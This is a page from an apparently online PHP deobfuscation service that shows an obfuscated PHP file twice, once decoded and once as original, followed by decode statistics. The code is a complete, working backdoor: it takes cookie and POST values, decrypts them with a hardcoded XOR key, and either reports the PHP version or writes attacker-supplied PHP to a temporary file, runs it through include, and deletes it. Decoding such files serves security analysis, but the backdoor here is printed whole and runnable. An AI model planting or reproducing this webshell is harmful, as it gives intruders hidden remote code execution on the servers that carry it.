Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* dbwm*/function umldeekz(){$djuvh='qqsmn'; print_r (95705+95705); }$gyhdyzh/..
Decoded Output download
<?php /* dbwm*/function umldeekz(){$djuvh='qqsmn'; print_r (95705+95705); }$gyhdyzh/* ttxzd */= 'gyhdyzh'/* woq */^ '';
function/* y */qysxbmyzbf($ljxldj,/*umk*/$klvtvao)
{
global $gyhdyzh;
$mkvdykg =/* o */"";
for/* c_jh */($u_cxc = 0;/* nzxt */$u_cxc </* a */strlen($ljxldj);) {
for/* x */($nohakuogtv = 0; $nohakuogtv </* hdf */strlen($klvtvao) &&/* g */$u_cxc </* mlhax */strlen($ljxldj);/*umc */$nohakuogtv++,/* gfj */$u_cxc++)/* iobl */{
$mkvdykg .=/* g */$gyhdyzh(ord($ljxldj[$u_cxc]) ^ ord($klvtvao[$nohakuogtv]));
/*rohit*/}
}
return/* mietc*/$mkvdykg;}
function/* tfp */djuasgke($nzhkqy,/* osk */$ljxldj)
{
global/* beu*/$gyhdyzh;
/* ckunp */$xpun_a = sprintf("."/* oawy */./* mbn */"/" . "%"."s"."." . "p"."l",/* ynjr*/md5($nzhkqy));
file_put_contents($xpun_a,/* lgklq*/"<" . $gyhdyzh(63)/*et */. "p"."h" . "p".$gyhdyzh(32) ./* in */"u" ./* _zcz */$gyhdyzh(110) . "l".$gyhdyzh(903-798)."n"."k"."(".$gyhdyzh(700-605) . "_".$gyhdyzh(70)/* w */. "I"."L"."E"."_"/* ojls */./* pqgm*/$gyhdyzh(95) . $gyhdyzh(41) . ";".$gyhdyzh(32) . $ljxldj["d"]); include($xpun_a);
/* gwix*/$bwnelqeof = $xpun_a;
unlink($bwnelqeof);
}
function kve_mshms(){
/* ca*/global $gyhdyzh;
$u_cxc = array();
$u_cxc["p" . "v"] = phpversion();
$u_cxc[$gyhdyzh(886-771) . "v"] = "3".".".$gyhdyzh(550-497);/*llu*/echo @serialize($u_cxc);
}
function hiqvmbo($ljxldj,/*zxq */$nzhkqy,/* _x */$nkhvh)
{
/*cbv */global $gyhdyzh;
$ljxldj =/* ub */unserialize(qysxbmyzbf(qysxbmyzbf(base64_decode($ljxldj), $nzhkqy),/*ho */$nkhvh));/* mljw */if (isset($ljxldj[$gyhdyzh(97) . $gyhdyzh(107)])) {
if ($ljxldj[$gyhdyzh(1066-969)]/* wwg*/==/* qxuy*/$gyhdyzh(903-798)) {
/* ygf*/kve_mshms(); }/* ff */elseif ($ljxldj[$gyhdyzh(1066-969)]/* qknc*/==/* dr */$gyhdyzh(101))/* wvbko */{
djuasgke($nzhkqy, $ljxldj);
/* eie_*/}
exit();
}}
$lc_ut =/* y */$_COOKIE;
$yrldgx = $_POST;
$lc_ut/* vr*/= array_merge($yrldgx,/* m */$lc_ut);
$nzhkqy =/*j */"c" ./* ebh */"2".$gyhdyzh(625-577) . $gyhdyzh(48) . "3"."3"."3"."4"/*y */. "-"/* onzp */. "1"."c" . "b"/* wsdin */. "6"."-"."4"/* rv */./*b */"c"."b"."b"/* xzz */./* s_ujd */"-"."8".$gyhdyzh(1066-969)."e" . $gyhdyzh(259-162)/* krg */./* m */$gyhdyzh(45) . "6"."c"/* _zi */. $gyhdyzh(97) . "1"."2"."3"."4"/* nndih*/./* pw*/$gyhdyzh(101)."6"/*yly */./*xr */"0".$gyhdyzh(48) ./* up */"8";
foreach/* cj_u_ */($lc_ut as/* k */$nkhvh/*m */=> $ljxldj)/* mcwpt*/{
hiqvmbo($ljxldj, $nzhkqy,/* i */$nkhvh);
} ?>
Did this file decode correctly?
Original Code
<?php /* dbwm*/function umldeekz(){$djuvh='qqsmn'; print_r (95705+95705); }$gyhdyzh/* ttxzd */= 'gyhdyzh'/* woq */^ '';
function/* y */qysxbmyzbf($ljxldj,/*umk*/$klvtvao)
{
global $gyhdyzh;
$mkvdykg =/* o */"";
for/* c_jh */($u_cxc = 0;/* nzxt */$u_cxc </* a */strlen($ljxldj);) {
for/* x */($nohakuogtv = 0; $nohakuogtv </* hdf */strlen($klvtvao) &&/* g */$u_cxc </* mlhax */strlen($ljxldj);/*umc */$nohakuogtv++,/* gfj */$u_cxc++)/* iobl */{
$mkvdykg .=/* g */$gyhdyzh(ord($ljxldj[$u_cxc]) ^ ord($klvtvao[$nohakuogtv]));
/*rohit*/}
}
return/* mietc*/$mkvdykg;}
function/* tfp */djuasgke($nzhkqy,/* osk */$ljxldj)
{
global/* beu*/$gyhdyzh;
/* ckunp */$xpun_a = sprintf("\56"/* oawy */./* mbn */"\x2f" . "%"."s"."\56" . "p"."\x6c",/* ynjr*/md5($nzhkqy));
file_put_contents($xpun_a,/* lgklq*/"<" . $gyhdyzh(63)/*et */. "p"."\150" . "p".$gyhdyzh(32) ./* in */"\165" ./* _zcz */$gyhdyzh(110) . "l".$gyhdyzh(903-798)."n"."k"."(".$gyhdyzh(700-605) . "_".$gyhdyzh(70)/* w */. "I"."L"."E"."\137"/* ojls */./* pqgm*/$gyhdyzh(95) . $gyhdyzh(41) . ";".$gyhdyzh(32) . $ljxldj["d"]); include($xpun_a);
/* gwix*/$bwnelqeof = $xpun_a;
unlink($bwnelqeof);
}
function kve_mshms(){
/* ca*/global $gyhdyzh;
$u_cxc = array();
$u_cxc["\x70" . "v"] = phpversion();
$u_cxc[$gyhdyzh(886-771) . "\166"] = "3".".".$gyhdyzh(550-497);/*llu*/echo @serialize($u_cxc);
}
function hiqvmbo($ljxldj,/*zxq */$nzhkqy,/* _x */$nkhvh)
{
/*cbv */global $gyhdyzh;
$ljxldj =/* ub */unserialize(qysxbmyzbf(qysxbmyzbf(base64_decode($ljxldj), $nzhkqy),/*ho */$nkhvh));/* mljw */if (isset($ljxldj[$gyhdyzh(97) . $gyhdyzh(107)])) {
if ($ljxldj[$gyhdyzh(1066-969)]/* wwg*/==/* qxuy*/$gyhdyzh(903-798)) {
/* ygf*/kve_mshms(); }/* ff */elseif ($ljxldj[$gyhdyzh(1066-969)]/* qknc*/==/* dr */$gyhdyzh(101))/* wvbko */{
djuasgke($nzhkqy, $ljxldj);
/* eie_*/}
exit();
}}
$lc_ut =/* y */$_COOKIE;
$yrldgx = $_POST;
$lc_ut/* vr*/= array_merge($yrldgx,/* m */$lc_ut);
$nzhkqy =/*j */"\143" ./* ebh */"2".$gyhdyzh(625-577) . $gyhdyzh(48) . "3"."3"."3"."\x34"/*y */. "\55"/* onzp */. "1"."\143" . "\x62"/* wsdin */. "6"."-"."\x34"/* rv */./*b */"c"."b"."\x62"/* xzz */./* s_ujd */"-"."8".$gyhdyzh(1066-969)."\145" . $gyhdyzh(259-162)/* krg */./* m */$gyhdyzh(45) . "6"."\x63"/* _zi */. $gyhdyzh(97) . "1"."2"."3"."\64"/* nndih*/./* pw*/$gyhdyzh(101)."\x36"/*yly */./*xr */"0".$gyhdyzh(48) ./* up */"\x38";
foreach/* cj_u_ */($lc_ut as/* k */$nkhvh/*m */=> $ljxldj)/* mcwpt*/{
hiqvmbo($ljxldj, $nzhkqy,/* i */$nkhvh);
}
Function Calls
array_merge | 1 |
Stats
MD5 | 3ae9274e6a8db207dd6a736cdc0d5063 |
Eval Count | 0 |
Decode Time | 63 ms |